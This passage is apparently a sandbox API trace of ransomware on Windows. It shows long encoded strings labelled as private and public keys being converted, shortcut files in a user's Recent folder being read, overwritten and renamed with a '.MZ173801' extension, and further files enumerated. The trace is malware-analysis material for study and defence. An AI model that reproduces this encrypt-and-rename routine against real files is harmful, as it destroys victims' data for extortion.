lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.881] GetCurrentThreadId () returned 0xab4 [0148.881] GetCurrentThreadId () returned 0xab4 [0148.881] GetCurrentThreadId () returned 0xab4 [0148.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.882] GetCurrentThreadId () returned 0xab4 [0148.882] GetCurrentThreadId () returned 0xab4 [0148.882] GetCurrentThreadId () returned 0xab4 [0148.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m_JbGT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m_jbgt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.883] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.883] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.883] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3b2 [0148.883] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.883] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3b2, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3b2, lpOverlapped=0x0) returned 1 [0148.884] CloseHandle (hObject=0x280) returned 1 [0148.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m_JbGT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m_jbgt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.885] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3b2, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3b2, lpOverlapped=0x0) returned 1 [0148.887] CloseHandle (hObject=0x280) returned 1 [0148.888] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m_JbGT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m_jbgt.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m_JbGT.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m_jbgt.lnk.mz173801")) returned 1 [0148.889] GetCurrentThreadId () returned 0xab4 [0148.889] GetCurrentThreadId () returned 0xab4 [0148.889] GetCurrentThreadId () returned 0xab4 [0148.889] GetCurrentThreadId () returned 0xab4 [0148.889] GetCurrentThreadId () returned 0xab4 [0148.889] GetCurrentThreadId () returned 0xab4 [0148.889] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4134b33b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4134b33b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4134b33b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nDZdZhLaQYg.ots.lnk", cAlternateFileName="NDZDZH~1.LNK")) returned 1 [0148.889] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.889] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nDZdZhLaQYg.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ndzdzhlaqyg.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4134b33b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4134b33b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4134b33b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x28d)) returned 1 [0148.889] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nDZdZhLaQYg.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ndzdzhlaqyg.ots.lnk")) returned 0x20 [0148.889] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nDZdZhLaQYg.ots.lnk", dwFileAttributes=0x80) returned 1 [0148.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 